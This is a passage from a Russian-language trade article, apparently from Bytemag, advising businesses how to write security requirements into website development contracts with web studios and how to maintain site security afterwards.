  Однако самое печальное во всех этих "примерах из жизни", что даже в том случае, когда Web-студии указывали на ее промахи и просили устранить обнаруженные проблемы, разработчики всячески старались не признавать свои ошибки и уйти от ответственности. В описанном автором случае (см. выше) процесс устранения "дыр" затянулся на несколько месяцев. Сначала студия отказывалась признать наличие уязвимостей в своем коде. После увлекательной демонстрации они уверяли, что дыры не страшные, а клиенты и сами могут побеспокоиться о своей защите. Потом они потребовали с заказчика дополнительную оплату, мотивируя это тем, что "…в техническом задании не было изложено данных требований по безопасности, поэтому реализация пунктов возможна только на основе дополнительного соглашения".

  Дело дошло до того, что исполнители потребовали "…перечислить в ТЗ все атаки, от которых должен был быть защищен ваш сайт". Только после вступления в бой "тяжелой артиллерии" в лице руководства заказчика ситуация сдвинулась с места. "А что с другими сайтами, построенными на этом "движке"?" - спросите вы. А ничего. Они по-прежнему остаются незащищенными - их владельцы просто не знают о том, какую "свинью" подложила им студия, предоставляющая "…профессиональный уровень услуг на рынке разработки Интернет/интранет-систем и управления корпоративной Web-информацией любого уровня сложности".

Цель и у вас, и у Web-студии одна - создание сайта, но пути ее достижения абсолютно различны. Вы хотите получить максимум возможностей при минимуме затрат, а исполнитель - затратить минимум усилий при максимальной выгоде.

Помни и бди

  Опыт общения с разными Web-студиями по разным вопросам (от разработки портрета целевой аудитории до защиты готовой системы) позволил автору выработать ряд рекомендаций, одно перечисление которых могло бы составить небольшую книгу. Поэтому коснемся лишь одного аспекта - защиты сайта. Но хочу сразу предупредить - приведенные рекомендации неполны, это только самые распространенные проблемы, с которыми автору лично довелось столкнуться.

  Рекомендация первая и самая важная: проверяйте договор до его подписания. Не стоит доверять эту задачу одному лишь юристу вашей компании. Он, конечно, на вашей стороне, но не знаком с основами информационной безопасности и может не глядя завизировать документ, за который потом с вас "спустят шкуру".

  Благодаря своей внимательности мои коллеги не столкнулись с такой ситуацией. Несмотря на то, что на этапе заключения договора менеджер проекта заявил им: "…мы практикуем решение тонких моментов в функциональностях на этапе проектирования и прототипирования" (обратите внимание на слог! - это чтобы заказчик чувствовал себя "непосвященным" и больше ни о чем не спрашивал), в договоре присутствовал очень интересный пункт: "…неописанные возможности Исполнитель имеет право не реализовывать в рамках текущего договора". Иными словами, посулив "с три короба", потом можно спокойно забыть об обещаниях.

  Обязательно включите в договор или в техническое задание функциональные требования, которые должны обеспечивать:

  • запрет на хранение пароля в открытом виде (в базе на сайте и в cookie);
  • защиту от известных на момент подписания договора атак;
  • защиту от маскировки под чужого пользователя (чтобы никто не мог писать в форумах или в форме обратной связи от имени другого);
  • фильтрацию вводимых значений;
  • запрет пересылки пароля в открытом виде на адрес электронной почты, указанный при регистрации пользователя, и т. д.

  Не забудьте включить в календарный план исполнения проекта тестирование по безопасности и уточните, что требуется согласовать с заказчиком исполнителя данных работ (тогда будет ясно, кто будет заниматься этим процессом и какова квалификация специалистов). Если вы не доверяете в этом вопросе исполнителю, то рекомендую самим озаботиться поиском компании, способной проверить ваш сайт на отсутствие/присутствие дыр. В качестве возможного кандидата назову компанию Positive Technologies (http://www.ptsecurity.ru), которая известна на российском рынке в том числе и своим сканером безопасности X-Spider.

  Если в стоимость работ входит обучение ваших сотрудников правилам эксплуатации новой Web-системы, то не забудьте включить в план и обучение по вопросам безопасности.

  Есть и еще один момент, на который хотелось бы обратить внимание. Практически все Web-студии вставляют в договор пункт примерно следующего содержания: "Исполнитель имеет право размещать на своем сайте элементы оформления Web-системы и название компании Заказчика, а также указать свое авторство на главной странице Web-системы Исполнителя". Смысл этого понятен - Web-студия, сделав работу, хочет хвастаться ею перед другими потенциальными клиентами. Ее мотивы ясны, но вам-то от этого какая польза? Какую задачу вы решаете, допуская такой пункт в договоре? Денег и славы (если, конечно, речь не идет о студии Лебедева) это не принесет. А вот у хакеров появится важная информация о том, на какой платформе построен ваш сайт, а следовательно, им проще будет выбрать способ атаки.

  И последняя, но важная рекомендация. Очень часто в договоре присутствует следующая фраза: "Заказчик должен предоставить доступ к Web-системе для осуществления гарантийного обслуживания. В случае отсутствия дистанционного доступа к Web-системе гарантийные услуги не оказываются". Этот пункт облегчает жизнь Web-студии, так как ей не придется выезжать по каждому вашему звонку, но привносит очень много проблем для владельца. Если сайт хостится на вашей территории (т. е. в корпоративной сети), то сразу задайте себе вопросы:

  • Готовы ли вы пустить постороннюю организацию в свою сеть?
  • Как обеспечивается безопасность сети этой посторонней организации?
  • Не будет ли внешнее подключение дополнительным каналом проникновения хакеров и вирусных эпидемий?
  • А если будет, то несет ли внешняя организация ответственность за инциденты с безопасностью в вашей сети (простои, отказы, утечки и т. п.)?

  Если ответ на любой из вопросов неутешителен, то ни в коем случае не пускайте Web-студию в свою сеть, даже если у нее благие намерения. Ведь за безопасность вашей сети отвечать будете только вы, и никто другой.

Не разрешайте исполнителям указывать свое авторство на главной странице сайта. Денег и славы (если, конечно, не имеется в виду студия Лебедева) вам это не принесет. А вот у хакеров появится важная информация о том, на какой платформе построен сайт, следовательно, им проще будет выбрать способ атаки.

Послесловие

  Первое. Не верьте сладким речам какой бы то ни было компании, предлагающей услуги по созданию сайта (личного, корпоративного, Интернет-магазина, портала и т. п.). Во всех проектах, в которых участвовал автор, такие соблазнительные слова лились рекой - но реальность оказалась совсем иной. Помните: хотя цель и у вас, и у Web-студии одна - создание сайта, пути ее достижения абсолютно разные. Вы хотите получить максимум возможностей при минимуме затрат, а исполнитель ваших причуд, наоборот, - затратить минимум усилий при максимальной выгоде. И поэтому он будет экономить на всем, чего "не видно" и что трудно проверить в процессе приемки готовой системы. А безопасность (наряду с производительностью) - первый "кандидат на сокращение".

  Второе. Получив от Web-студии защищенный сайт, не обольщайтесь, - начинается долгий, непрерывный и отчасти рутинный процесс обеспечения его постоянной готовности к различным проделкам хакеров. А это значит, что вы должны непрерывно:

  • мониторить состояние защищенности Web-сервера;
  • устанавливать новые заплатки;
  • реагировать на атаки и т. п.

  Если вы не уверены в своих возможностях, то обратите внимание на аутсорсинг задач безопасности, который решит ваши проблемы. Но это уже тема другой статьи.

Источник: Bytemag  




Рейтинг @Mail.ru

Rambler's Top100
Rambler's Top100